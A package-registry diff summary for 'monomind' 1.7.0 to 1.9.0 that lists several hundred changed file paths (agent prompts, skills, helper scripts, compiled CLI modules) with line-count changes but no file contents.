monomind 1.7.0 → 1.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/agents/design/design-monodesign.md +121 -0
- package/.claude/agents/github/issue-tracker.md +12 -12
- package/.claude/agents/github/pr-manager.md +10 -10
- package/.claude/agents/github/release-manager.md +49 -105
- package/.claude/agents/github/repo-architect.md +73 -92
- package/.claude/agents/github/sync-coordinator.md +55 -123
- package/.claude/agents/marketing/marketing-competitive-content.md +155 -0
- package/.claude/agents/marketing/marketing-content-creator.md +13 -0
- package/.claude/agents/marketing/marketing-cro-specialist.md +147 -0
- package/.claude/agents/marketing/marketing-email-specialist.md +90 -0
- package/.claude/agents/marketing/marketing-launch-strategist.md +129 -0
- package/.claude/agents/marketing/marketing-pricing-strategist.md +127 -0
- package/.claude/agents/specialists/integration-architect.md +94 -0
- package/.claude/commands/agents/README.md +4 -0
- package/.claude/commands/agents/agent-capabilities.md +6 -2
- package/.claude/commands/agents/agent-coordination.md +4 -0
- package/.claude/commands/agents/agent-spawning.md +4 -0
- package/.claude/commands/agents/agent-types.md +6 -2
- package/.claude/commands/analysis/README.md +14 -5
- package/.claude/commands/analysis/bottleneck-detect.md +30 -123
- package/.claude/commands/analysis/performance-bottlenecks.md +14 -14
- package/.claude/commands/analysis/performance-report.md +38 -11
- package/.claude/commands/analysis/token-efficiency.md +13 -16
- package/.claude/commands/analysis/token-usage.md +34 -12
- package/.claude/commands/automation/README.md +15 -5
- package/.claude/commands/automation/auto-agent.md +49 -85
- package/.claude/commands/automation/self-healing.md +20 -18
- package/.claude/commands/automation/session-memory.md +28 -29
- package/.claude/commands/automation/smart-agents.md +17 -9
- package/.claude/commands/automation/smart-spawn.md +52 -11
- package/.claude/commands/automation/workflow-select.md +46 -11
- package/.claude/commands/browse.md +5 -0
- package/.claude/commands/coordination/README.md +9 -5
- package/.claude/commands/coordination/agent-spawn.md +53 -9
- package/.claude/commands/coordination/swarm-init.md +39 -42
- package/.claude/commands/coordination/task-orchestrate.md +65 -11
- package/.claude/commands/github/README.md +21 -8
- package/.claude/commands/github/github-modes.md +9 -5
- package/.claude/commands/github/issue-tracker.md +34 -33
- package/.claude/commands/github/pr-manager.md +20 -17
- package/.claude/commands/github/release-manager.md +37 -49
- package/.claude/commands/github/repo-architect.md +39 -41
- package/.claude/commands/github/sync-coordinator.md +45 -49
- package/.claude/commands/hive-mind/README.md +42 -17
- package/.claude/commands/hive-mind/hive-mind-consensus.md +68 -4
- package/.claude/commands/hive-mind/hive-mind-init.md +55 -5
- package/.claude/commands/hive-mind/hive-mind-memory.md +69 -4
- package/.claude/commands/hive-mind/hive-mind-spawn.md +71 -10
- package/.claude/commands/hive-mind/hive-mind-status.md +52 -4
- package/.claude/commands/hive-mind/hive-mind-stop.md +51 -4
- package/.claude/commands/hive-mind/hive-mind.md +74 -14
- package/.claude/commands/hooks/README.md +62 -7
- package/.claude/commands/hooks/overview.md +94 -35
- package/.claude/commands/hooks/post-edit.md +48 -87
- package/.claude/commands/hooks/post-task.md +37 -87
- package/.claude/commands/hooks/pre-edit.md +52 -84
- package/.claude/commands/hooks/pre-task.md +46 -81
- package/.claude/commands/hooks/session-end.md +49 -85
- package/.claude/commands/hooks/setup.md +87 -58
- package/.claude/commands/mastermind/_repeat.md +308 -0
- package/.claude/commands/mastermind/architect.md +49 -0
- package/.claude/commands/mastermind/brain.md +98 -0
- package/.claude/commands/mastermind/build.md +22 -0
- package/.claude/commands/mastermind/content.md +22 -0
- package/.claude/commands/mastermind/createorg.md +94 -0
- package/.claude/commands/mastermind/finance.md +22 -0
- package/.claude/commands/mastermind/idea.md +22 -0
- package/.claude/commands/mastermind/marketing.md +22 -0
- package/.claude/commands/mastermind/master.md +379 -0
- package/.claude/commands/mastermind/ops.md +22 -0
- package/.claude/commands/mastermind/release.md +22 -0
- package/.claude/commands/mastermind/research.md +22 -0
- package/.claude/commands/mastermind/review.md +22 -0
- package/.claude/commands/mastermind/runorg.md +106 -0
- package/.claude/commands/mastermind/sales.md +22 -0
- package/.claude/commands/mastermind/techport.md +17 -0
- package/.claude/commands/memory/README.md +75 -5
- package/.claude/commands/memory/memory-search.md +63 -11
- package/.claude/commands/monitoring/README.md +64 -4
- package/.claude/commands/monitoring/agent-metrics.md +50 -10
- package/.claude/commands/monitoring/agents.md +59 -32
- package/.claude/commands/monitoring/status.md +96 -34
- package/.claude/commands/monograph/README.md +102 -0
- package/.claude/commands/monograph/monograph-build.md +79 -0
- package/.claude/commands/monograph/monograph-search.md +96 -0
- package/.claude/commands/monograph/monograph-stats.md +53 -0
- package/.claude/commands/monograph/monograph-watch.md +63 -0
- package/.claude/commands/monograph/monograph-wiki.md +91 -0
- package/.claude/commands/monomind/createtask.md +277 -0
- package/.claude/commands/{monomind-do.md → monomind/do.md} +22 -9
- package/.claude/commands/monomind/help.md +118 -0
- package/.claude/commands/{monomind-idea.md → monomind/idea.md} +23 -29
- package/.claude/commands/{monomind-improve.md → monomind/improve.md} +24 -30
- package/.claude/commands/monomind/memory.md +230 -0
- package/.claude/commands/monomind/repeat.md +201 -0
- package/.claude/commands/monomind/review.md +313 -0
- package/.claude/commands/monomind/specialagents.md +125 -0
- package/.claude/commands/monomind/swarm.md +161 -0
- package/.claude/commands/monomind/understand.md +148 -0
- package/.claude/commands/optimization/README.md +69 -5
- package/.claude/commands/optimization/auto-topology.md +66 -43
- package/.claude/commands/optimization/parallel-execution.md +65 -39
- package/.claude/commands/optimization/performance-optimize.md +79 -0
- package/.claude/commands/pair/README.md +48 -230
- package/.claude/commands/pair/examples.md +85 -441
- package/.claude/commands/pair/modes.md +77 -303
- package/.claude/commands/pair/session.md +76 -359
- package/.claude/commands/sparc/analyzer.md +9 -26
- package/.claude/commands/sparc/architect.md +8 -25
- package/.claude/commands/sparc/ask.md +27 -68
- package/.claude/commands/sparc/batch-executor.md +8 -25
- package/.claude/commands/sparc/code.md +12 -53
- package/.claude/commands/sparc/coder.md +8 -25
- package/.claude/commands/sparc/debug.md +12 -53
- package/.claude/commands/sparc/debugger.md +8 -25
- package/.claude/commands/sparc/designer.md +8 -25
- package/.claude/commands/sparc/devops.md +16 -57
- package/.claude/commands/sparc/docs-writer.md +12 -53
- package/.claude/commands/sparc/documenter.md +8 -25
- package/.claude/commands/sparc/innovator.md +8 -25
- package/.claude/commands/sparc/integration.md +12 -53
- package/.claude/commands/sparc/mcp.md +12 -53
- package/.claude/commands/sparc/memory-manager.md +28 -25
- package/.claude/commands/sparc/optimizer.md +8 -25
- package/.claude/commands/sparc/orchestrator.md +35 -97
- package/.claude/commands/sparc/post-deployment-monitoring-mode.md +13 -54
- package/.claude/commands/sparc/refinement-optimization-mode.md +13 -54
- package/.claude/commands/sparc/researcher.md +8 -25
- package/.claude/commands/sparc/reviewer.md +8 -25
- package/.claude/commands/sparc/security-review.md +13 -54
- package/.claude/commands/sparc/sparc-modes.md +97 -151
- package/.claude/commands/sparc/sparc.md +16 -56
- package/.claude/commands/sparc/spec-pseudocode.md +13 -54
- package/.claude/commands/sparc/supabase-admin.md +19 -66
- package/.claude/commands/sparc/swarm-coordinator.md +21 -25
- package/.claude/commands/sparc/tdd.md +8 -25
- package/.claude/commands/sparc/tester.md +8 -25
- package/.claude/commands/sparc/tutorial.md +12 -53
- package/.claude/commands/sparc/workflow-manager.md +8 -25
- package/.claude/commands/sparc.md +76 -130
- package/.claude/commands/stream-chain/pipeline.md +72 -77
- package/.claude/commands/stream-chain/run.md +133 -47
- package/.claude/commands/swarm/README.md +37 -12
- package/.claude/commands/swarm/analysis.md +47 -69
- package/.claude/commands/swarm/development.md +45 -69
- package/.claude/commands/swarm/examples.md +77 -142
- package/.claude/commands/swarm/maintenance.md +47 -74
- package/.claude/commands/swarm/optimization.md +54 -87
- package/.claude/commands/swarm/research.md +47 -107
- package/.claude/commands/swarm/swarm-analysis.md +58 -4
- package/.claude/commands/swarm/swarm-background.md +61 -4
- package/.claude/commands/swarm/swarm-modes.md +63 -4
- package/.claude/commands/swarm/swarm-monitor.md +50 -4
- package/.claude/commands/swarm/swarm-status.md +40 -4
- package/.claude/commands/swarm/swarm-strategies.md +73 -5
- package/.claude/commands/swarm/swarm.md +70 -18
- package/.claude/commands/swarm/testing.md +51 -102
- package/.claude/commands/tokens.md +6 -1
- package/.claude/commands/training/README.md +36 -6
- package/.claude/commands/training/model-update.md +68 -15
- package/.claude/commands/training/neural-patterns.md +54 -55
- package/.claude/commands/training/neural-train.md +70 -16
- package/.claude/commands/training/pattern-learn.md +60 -16
- package/.claude/commands/training/specialization.md +78 -49
- package/.claude/commands/truth/start.md +87 -109
- package/.claude/commands/ts.md +7 -2
- package/.claude/commands/verify/check.md +90 -34
- package/.claude/commands/verify/start.md +71 -94
- package/.claude/commands/workflows/README.md +62 -6
- package/.claude/commands/workflows/development.md +69 -61
- package/.claude/commands/workflows/research.md +73 -47
- package/.claude/commands/workflows/workflow-create.md +75 -16
- package/.claude/commands/workflows/workflow-execute.md +94 -16
- package/.claude/commands/workflows/workflow-export.md +81 -16
- package/.claude/helpers/control-start.cjs +91 -0
- package/.claude/helpers/extras-registry.json +4104 -1991
- package/.claude/helpers/graphify-freshen.cjs +44 -13
- package/.claude/helpers/hook-handler.cjs +256 -1
- package/.claude/helpers/loop-tracker.cjs +107 -0
- package/.claude/helpers/router.cjs +48 -68
- package/.claude/helpers/skill-registry.json +89 -104
- package/.claude/helpers/statusline.cjs +33 -2
- package/.claude/scheduled_tasks.lock +1 -0
- package/.claude/settings.json +15 -0
- package/.claude/skills/.monomind/data/ranked-context.json +5 -0
- package/.claude/skills/.monomind/sessions/current.json +13 -0
- package/.claude/skills/.monomind/sessions/session-1777829336455.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777831614725.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777832095857.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777839814183.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777841847131.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777843309463.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777880867159.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777881884593.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777884090471.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777884808221.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777885672155.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777886852818.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777896532690.json +15 -0
- package/.claude/skills/agentdb-advanced/SKILL.md +11 -12
- package/.claude/skills/agentdb-learning/SKILL.md +20 -21
- package/.claude/skills/agentdb-memory-patterns/SKILL.md +28 -30
- package/.claude/skills/agentdb-optimization/SKILL.md +11 -12
- package/.claude/skills/agentdb-vector-search/SKILL.md +37 -41
- package/.claude/skills/{v3-integration-deep → agentic-integration}/SKILL.md +20 -13
- package/.claude/skills/agentic-jujutsu/SKILL.md +22 -22
- package/.claude/skills/{v3-cli-modernization → cli-modernization}/SKILL.md +17 -8
- package/.claude/skills/{v3-core-implementation → core-implementation}/SKILL.md +33 -8
- package/.claude/skills/{v3-ddd-architecture → ddd-architecture}/SKILL.md +18 -25
- package/.claude/skills/github-code-review/SKILL.md +82 -83
- package/.claude/skills/github-multi-repo/SKILL.md +42 -46
- package/.claude/skills/github-project-management/SKILL.md +83 -88
- package/.claude/skills/github-release-management/SKILL.md +12 -18
- package/.claude/skills/github-workflow-automation/SKILL.md +70 -74
- package/.claude/skills/hooks-automation/SKILL.md +9 -13
- package/.claude/skills/mastermind/_intake.md +83 -0
- package/.claude/skills/mastermind/_protocol.md +275 -0
- package/.claude/skills/mastermind/architect.md +847 -0
- package/.claude/skills/mastermind/build.md +158 -0
- package/.claude/skills/mastermind/content.md +185 -0
- package/.claude/skills/mastermind/createorg.md +318 -0
- package/.claude/skills/mastermind/finance.md +154 -0
- package/.claude/skills/mastermind/idea.md +158 -0
- package/.claude/skills/mastermind/marketing.md +216 -0
- package/.claude/skills/mastermind/monotask.md +350 -0
- package/.claude/skills/mastermind/ops.md +156 -0
- package/.claude/skills/mastermind/references/copywriting-frameworks.md +181 -0
- package/.claude/skills/mastermind/references/persuasion-psychology.md +158 -0
- package/.claude/skills/mastermind/release.md +156 -0
- package/.claude/skills/mastermind/research.md +156 -0
- package/.claude/skills/mastermind/review.md +157 -0
- package/.claude/skills/mastermind/runorg.md +308 -0
- package/.claude/skills/mastermind/sales.md +158 -0
- package/.claude/skills/mastermind/techport.md +743 -0
- package/.claude/skills/{v3-mcp-optimization → mcp-optimization}/SKILL.md +35 -14
- package/.claude/skills/{v3-memory-unification → memory-unification}/SKILL.md +20 -4
- package/.claude/skills/monodesign/SKILL.md +302 -0
- package/.claude/skills/monodesign/reference/adapt.md +190 -0
- package/.claude/skills/monodesign/reference/animate.md +175 -0
- package/.claude/skills/monodesign/reference/antipatterns-catalog.md +187 -0
- package/.claude/skills/monodesign/reference/audit.md +133 -0
- package/.claude/skills/monodesign/reference/bolder.md +113 -0
- package/.claude/skills/monodesign/reference/brand-workflow.md +180 -0
- package/.claude/skills/monodesign/reference/brand.md +114 -0
- package/.claude/skills/monodesign/reference/clarify.md +174 -0
- package/.claude/skills/monodesign/reference/cognitive-load.md +106 -0
- package/.claude/skills/monodesign/reference/color-and-contrast.md +105 -0
- package/.claude/skills/monodesign/reference/colorize.md +154 -0
- package/.claude/skills/monodesign/reference/component-specs.md +260 -0
- package/.claude/skills/monodesign/reference/component-states.md +274 -0
- package/.claude/skills/monodesign/reference/component-system.md +358 -0
- package/.claude/skills/monodesign/reference/copy-formulas.md +160 -0
- package/.claude/skills/monodesign/reference/craft.md +193 -0
- package/.claude/skills/monodesign/reference/critique.md +213 -0
- package/.claude/skills/monodesign/reference/delight.md +302 -0
- package/.claude/skills/monodesign/reference/design-principles.md +246 -0
- package/.claude/skills/monodesign/reference/distill.md +111 -0
- package/.claude/skills/monodesign/reference/document.md +427 -0
- package/.claude/skills/monodesign/reference/extract.md +69 -0
- package/.claude/skills/monodesign/reference/harden.md +347 -0
- package/.claude/skills/monodesign/reference/heuristics-scoring.md +234 -0
- package/.claude/skills/monodesign/reference/image-prompts.md +118 -0
- package/.claude/skills/monodesign/reference/interaction-design.md +195 -0
- package/.claude/skills/monodesign/reference/layout.md +141 -0
- package/.claude/skills/monodesign/reference/live.md +622 -0
- package/.claude/skills/monodesign/reference/motion-design.md +109 -0
- package/.claude/skills/monodesign/reference/onboard.md +234 -0
- package/.claude/skills/monodesign/reference/optimize.md +258 -0
- package/.claude/skills/monodesign/reference/overdrive.md +130 -0
- package/.claude/skills/monodesign/reference/personas.md +179 -0
- package/.claude/skills/monodesign/reference/polish.md +233 -0
- package/.claude/skills/monodesign/reference/pre-delivery-checklist.md +108 -0
- package/.claude/skills/monodesign/reference/product.md +62 -0
- package/.claude/skills/monodesign/reference/quieter.md +99 -0
- package/.claude/skills/monodesign/reference/responsive-design.md +114 -0
- package/.claude/skills/monodesign/reference/shape.md +151 -0
- package/.claude/skills/monodesign/reference/spatial-design.md +100 -0
- package/.claude/skills/monodesign/reference/teach.md +156 -0
- package/.claude/skills/monodesign/reference/token-architecture.md +222 -0
- package/.claude/skills/monodesign/reference/typeset.md +124 -0
- package/.claude/skills/monodesign/reference/typography.md +159 -0
- package/.claude/skills/monodesign/reference/ux-research.md +143 -0
- package/.claude/skills/monodesign/reference/ux-rules.md +211 -0
- package/.claude/skills/monodesign/reference/ux-writing.md +107 -0
- package/.claude/skills/monomotion/SKILL.md +145 -0
- package/.claude/skills/monomotion/rules/api-control.md +139 -0
- package/.claude/skills/monomotion/rules/effects.md +109 -0
- package/.claude/skills/monomotion/rules/integration.md +140 -0
- package/.claude/skills/monomotion/rules/scroll.md +131 -0
- package/.claude/skills/monomotion/rules/sequencing.md +105 -0
- package/.claude/skills/monomotion/rules/svg.md +101 -0
- package/.claude/skills/monomotion/rules/text.md +119 -0
- package/.claude/skills/pair-programming/SKILL.md +1 -1
- package/.claude/skills/performance-analysis/SKILL.md +3 -3
- package/.claude/skills/{v3-performance-optimization → performance-optimization}/SKILL.md +16 -8
- package/.claude/skills/reasoningbank-agentdb/SKILL.md +17 -19
- package/.claude/skills/reasoningbank-intelligence/SKILL.md +4 -6
- package/.claude/skills/{v3-security-overhaul → security-hardening}/SKILL.md +13 -3
- package/.claude/skills/skill-builder/SKILL.md +19 -19
- package/.claude/skills/sparc-methodology/SKILL.md +55 -211
- package/.claude/skills/stop-slop/SKILL.md +67 -0
- package/.claude/skills/stop-slop/references/examples.md +61 -0
- package/.claude/skills/stop-slop/references/phrases.md +130 -0
- package/.claude/skills/stop-slop/references/structures.md +136 -0
- package/.claude/skills/swarm-advanced/SKILL.md +13 -43
- package/.claude/skills/{v3-swarm-coordination → swarm-coordination}/SKILL.md +39 -21
- package/.claude/skills/swarm-orchestration/SKILL.md +12 -12
- package/.claude/skills/verification-quality/SKILL.md +5 -5
- package/README.md +5 -5
- package/package.json +1 -1
- package/packages/@monomind/cli/README.md +5 -5
- package/packages/@monomind/cli/bin/cli.js +78 -13
- package/packages/@monomind/cli/dist/src/agents/halt-signal.js +33 -7
- package/packages/@monomind/cli/dist/src/agents/managed-agent.js +5 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-experiment.d.ts +3 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-experiment.js +1 -1
- package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.d.ts +5 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.js +26 -4
- package/packages/@monomind/cli/dist/src/agents/specialization-scorer.js +17 -9
- package/packages/@monomind/cli/dist/src/agents/trigger-scanner.d.ts +5 -3
- package/packages/@monomind/cli/dist/src/agents/trigger-scanner.js +58 -10
- package/packages/@monomind/cli/dist/src/agents/version-store.d.ts +0 -1
- package/packages/@monomind/cli/dist/src/agents/version-store.js +44 -21
- package/packages/@monomind/cli/dist/src/autopilot-state.js +79 -28
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.d.ts +7 -2
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.js +20 -8
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.d.ts +2 -1
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.js +25 -2
- package/packages/@monomind/cli/dist/src/commands/agent.js +6 -4
- package/packages/@monomind/cli/dist/src/commands/appliance-advanced.js +23 -0
- package/packages/@monomind/cli/dist/src/commands/autopilot.js +3 -3
- package/packages/@monomind/cli/dist/src/commands/benchmark.js +119 -8
- package/packages/@monomind/cli/dist/src/commands/claims.js +22 -14
- package/packages/@monomind/cli/dist/src/commands/config.js +32 -0
- package/packages/@monomind/cli/dist/src/commands/daemon.js +13 -11
- package/packages/@monomind/cli/dist/src/commands/deployment.js +21 -2
- package/packages/@monomind/cli/dist/src/commands/doctor.js +28 -62
- package/packages/@monomind/cli/dist/src/commands/embeddings.js +124 -48
- package/packages/@monomind/cli/dist/src/commands/hive-mind.js +15 -14
- package/packages/@monomind/cli/dist/src/commands/hooks.js +45 -41
- package/packages/@monomind/cli/dist/src/commands/index.d.ts +2 -0
- package/packages/@monomind/cli/dist/src/commands/index.js +20 -7
- package/packages/@monomind/cli/dist/src/commands/init.js +53 -19
- package/packages/@monomind/cli/dist/src/commands/mcp.js +31 -44
- package/packages/@monomind/cli/dist/src/commands/memory.js +47 -15
- package/packages/@monomind/cli/dist/src/commands/migrate.js +156 -108
- package/packages/@monomind/cli/dist/src/commands/monograph.d.ts +8 -0
- package/packages/@monomind/cli/dist/src/commands/monograph.js +526 -0
- package/packages/@monomind/cli/dist/src/commands/neural.js +96 -56
- package/packages/@monomind/cli/dist/src/commands/performance.js +30 -8
- package/packages/@monomind/cli/dist/src/commands/plugins.js +13 -37
- package/packages/@monomind/cli/dist/src/commands/process.js +25 -2
- package/packages/@monomind/cli/dist/src/commands/providers.js +37 -5
- package/packages/@monomind/cli/dist/src/commands/replay.js +4 -4
- package/packages/@monomind/cli/dist/src/commands/route.js +37 -5
- package/packages/@monomind/cli/dist/src/commands/ruvector/import.js +12 -2
- package/packages/@monomind/cli/dist/src/commands/ruvector/init.js +15 -0
- package/packages/@monomind/cli/dist/src/commands/ruvector/status.js +16 -3
- package/packages/@monomind/cli/dist/src/commands/security.js +342 -193
- package/packages/@monomind/cli/dist/src/commands/session.js +51 -8
- package/packages/@monomind/cli/dist/src/commands/start.js +18 -4
- package/packages/@monomind/cli/dist/src/commands/swarm.js +47 -36
- package/packages/@monomind/cli/dist/src/commands/tokens.js +11 -11
- package/packages/@monomind/cli/dist/src/commands/transfer-store.js +1 -1
- package/packages/@monomind/cli/dist/src/commands/workflow.js +31 -4
- package/packages/@monomind/cli/dist/src/config-adapter.d.ts +2 -1
- package/packages/@monomind/cli/dist/src/consensus/audit-writer.js +46 -13
- package/packages/@monomind/cli/dist/src/consensus/vote-signer.d.ts +0 -3
- package/packages/@monomind/cli/dist/src/consensus/vote-signer.js +9 -1
- package/packages/@monomind/cli/dist/src/dlq/dlq-reader.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/dlq/dlq-reader.js +25 -8
- package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.d.ts +10 -3
- package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.js +50 -16
- package/packages/@monomind/cli/dist/src/dlq/dlq-writer.js +27 -5
- package/packages/@monomind/cli/dist/src/eval/dataset-manager.d.ts +2 -2
- package/packages/@monomind/cli/dist/src/eval/dataset-manager.js +26 -16
- package/packages/@monomind/cli/dist/src/eval/trace-collector.js +23 -3
- package/packages/@monomind/cli/dist/src/index.js +12 -10
- package/packages/@monomind/cli/dist/src/init/claudemd-generator.js +8 -8
- package/packages/@monomind/cli/dist/src/init/executor.js +163 -137
- package/packages/@monomind/cli/dist/src/init/helpers-generator.js +49 -36
- package/packages/@monomind/cli/dist/src/init/mcp-generator.js +3 -3
- package/packages/@monomind/cli/dist/src/init/settings-generator.js +10 -3
- package/packages/@monomind/cli/dist/src/init/shared-instructions-generator.js +18 -3
- package/packages/@monomind/cli/dist/src/init/statusline-generator.js +3 -1
- package/packages/@monomind/cli/dist/src/init/types.d.ts +35 -11
- package/packages/@monomind/cli/dist/src/init/types.js +5 -9
- package/packages/@monomind/cli/dist/src/interactive/interrupt.js +8 -3
- package/packages/@monomind/cli/dist/src/mcp/tool-registry.js +38 -4
- package/packages/@monomind/cli/dist/src/mcp-client.js +15 -6
- package/packages/@monomind/cli/dist/src/mcp-server.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/mcp-server.js +182 -35
- package/packages/@monomind/cli/dist/src/mcp-tools/agent-tools.js +66 -34
- package/packages/@monomind/cli/dist/src/mcp-tools/agentdb-tools.js +34 -7
- package/packages/@monomind/cli/dist/src/mcp-tools/analyze-tools.js +25 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/auto-install.js +4 -6
- package/packages/@monomind/cli/dist/src/mcp-tools/autopilot-tools.js +12 -2
- package/packages/@monomind/cli/dist/src/mcp-tools/browser-tools.js +199 -20
- package/packages/@monomind/cli/dist/src/mcp-tools/claims-tools.js +68 -18
- package/packages/@monomind/cli/dist/src/mcp-tools/config-tools.js +33 -5
- package/packages/@monomind/cli/dist/src/mcp-tools/coordination-tools.js +59 -4
- package/packages/@monomind/cli/dist/src/mcp-tools/daa-tools.js +46 -10
- package/packages/@monomind/cli/dist/src/mcp-tools/embeddings-tools.js +46 -5
- package/packages/@monomind/cli/dist/src/mcp-tools/github-tools.js +29 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/graphify-tools.d.ts +4 -67
- package/packages/@monomind/cli/dist/src/mcp-tools/graphify-tools.js +40 -1250
- package/packages/@monomind/cli/dist/src/mcp-tools/guidance-tools.js +38 -10
- package/packages/@monomind/cli/dist/src/mcp-tools/hive-mind-tools.js +96 -33
- package/packages/@monomind/cli/dist/src/mcp-tools/hooks-tools.js +70 -37
- package/packages/@monomind/cli/dist/src/mcp-tools/index.d.ts +1 -0
- package/packages/@monomind/cli/dist/src/mcp-tools/index.js +1 -0
- package/packages/@monomind/cli/dist/src/mcp-tools/memory-tools.js +29 -13
- package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.d.ts +9 -0
- package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.js +6306 -0
- package/packages/@monomind/cli/dist/src/mcp-tools/neural-tools.js +121 -37
- package/packages/@monomind/cli/dist/src/mcp-tools/performance-tools.js +21 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.js +10 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/request-tracker.js +4 -1
- package/packages/@monomind/cli/dist/src/mcp-tools/ruvllm-tools.js +19 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/session-tools.js +57 -17
- package/packages/@monomind/cli/dist/src/mcp-tools/swarm-tools.js +35 -17
- package/packages/@monomind/cli/dist/src/mcp-tools/system-tools.js +4 -3
- package/packages/@monomind/cli/dist/src/mcp-tools/task-tools.js +53 -13
- package/packages/@monomind/cli/dist/src/mcp-tools/terminal-tools.js +63 -14
- package/packages/@monomind/cli/dist/src/mcp-tools/transfer-tools.js +21 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/workflow-tools.js +92 -23
- package/packages/@monomind/cli/dist/src/memory/ewc-consolidation.js +41 -10
- package/packages/@monomind/cli/dist/src/memory/intelligence.d.ts +2 -2
- package/packages/@monomind/cli/dist/src/memory/intelligence.js +39 -13
- package/packages/@monomind/cli/dist/src/memory/memory-bridge.d.ts +1 -0
- package/packages/@monomind/cli/dist/src/memory/memory-bridge.js +149 -56
- package/packages/@monomind/cli/dist/src/memory/memory-initializer.js +107 -45
- package/packages/@monomind/cli/dist/src/memory/sona-optimizer.d.ts +8 -1
- package/packages/@monomind/cli/dist/src/memory/sona-optimizer.js +25 -8
- package/packages/@monomind/cli/dist/src/observability/replay-reader.d.ts +40 -0
- package/packages/@monomind/cli/dist/src/observability/replay-reader.js +138 -0
- package/packages/@monomind/cli/dist/src/orchestration/routing-modes.js +35 -5
- package/packages/@monomind/cli/dist/src/parser.d.ts +8 -0
- package/packages/@monomind/cli/dist/src/parser.js +48 -14
- package/packages/@monomind/cli/dist/src/plugins/manager.js +112 -19
- package/packages/@monomind/cli/dist/src/plugins/store/discovery.d.ts +1 -1
- package/packages/@monomind/cli/dist/src/plugins/store/discovery.js +80 -62
- package/packages/@monomind/cli/dist/src/production/circuit-breaker.js +8 -1
- package/packages/@monomind/cli/dist/src/production/error-handler.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/production/error-handler.js +27 -5
- package/packages/@monomind/cli/dist/src/production/monitoring.js +8 -4
- package/packages/@monomind/cli/dist/src/production/rate-limiter.js +30 -22
- package/packages/@monomind/cli/dist/src/ruvector/agent-wasm.js +2 -2
- package/packages/@monomind/cli/dist/src/ruvector/coverage-router.js +19 -9
- package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.d.ts +1 -0
- package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.js +26 -6
- package/packages/@monomind/cli/dist/src/ruvector/enhanced-model-router.js +24 -2
- package/packages/@monomind/cli/dist/src/ruvector/index.d.ts +1 -2
- package/packages/@monomind/cli/dist/src/ruvector/index.js +2 -2
- package/packages/@monomind/cli/dist/src/ruvector/model-router.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/ruvector/model-router.js +30 -6
- package/packages/@monomind/cli/dist/src/ruvector/moe-router.d.ts +7 -0
- package/packages/@monomind/cli/dist/src/ruvector/moe-router.js +35 -12
- package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.d.ts +7 -1
- package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.js +40 -9
- package/packages/@monomind/cli/dist/src/services/claim-service.d.ts +3 -1
- package/packages/@monomind/cli/dist/src/services/claim-service.js +33 -2
- package/packages/@monomind/cli/dist/src/services/config-file-manager.d.ts +16 -2
- package/packages/@monomind/cli/dist/src/services/config-file-manager.js +105 -17
- package/packages/@monomind/cli/dist/src/services/container-worker-pool.js +51 -11
- package/packages/@monomind/cli/dist/src/services/headless-worker-executor.d.ts +7 -0
- package/packages/@monomind/cli/dist/src/services/headless-worker-executor.js +188 -45
- package/packages/@monomind/cli/dist/src/services/registry-api.js +62 -9
- package/packages/@monomind/cli/dist/src/services/ruvector-training.js +8 -0
- package/packages/@monomind/cli/dist/src/services/worker-daemon.d.ts +4 -1
- package/packages/@monomind/cli/dist/src/services/worker-daemon.js +112 -28
- package/packages/@monomind/cli/dist/src/services/worker-queue.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/services/worker-queue.js +86 -5
- package/packages/@monomind/cli/dist/src/suggest.js +9 -0
- package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.d.ts +5 -3
- package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.js +17 -5
- package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.d.ts +3 -0
- package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.js +30 -6
- package/packages/@monomind/cli/dist/src/transfer/anonymization/index.js +5 -3
- package/packages/@monomind/cli/dist/src/transfer/export.js +5 -3
- package/packages/@monomind/cli/dist/src/transfer/ipfs/client.js +84 -7
- package/packages/@monomind/cli/dist/src/transfer/ipfs/upload.js +13 -4
- package/packages/@monomind/cli/dist/src/transfer/storage/gcs.js +19 -10
- package/packages/@monomind/cli/dist/src/transfer/store/discovery.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/transfer/store/discovery.js +68 -13
- package/packages/@monomind/cli/dist/src/transfer/store/download.d.ts +15 -6
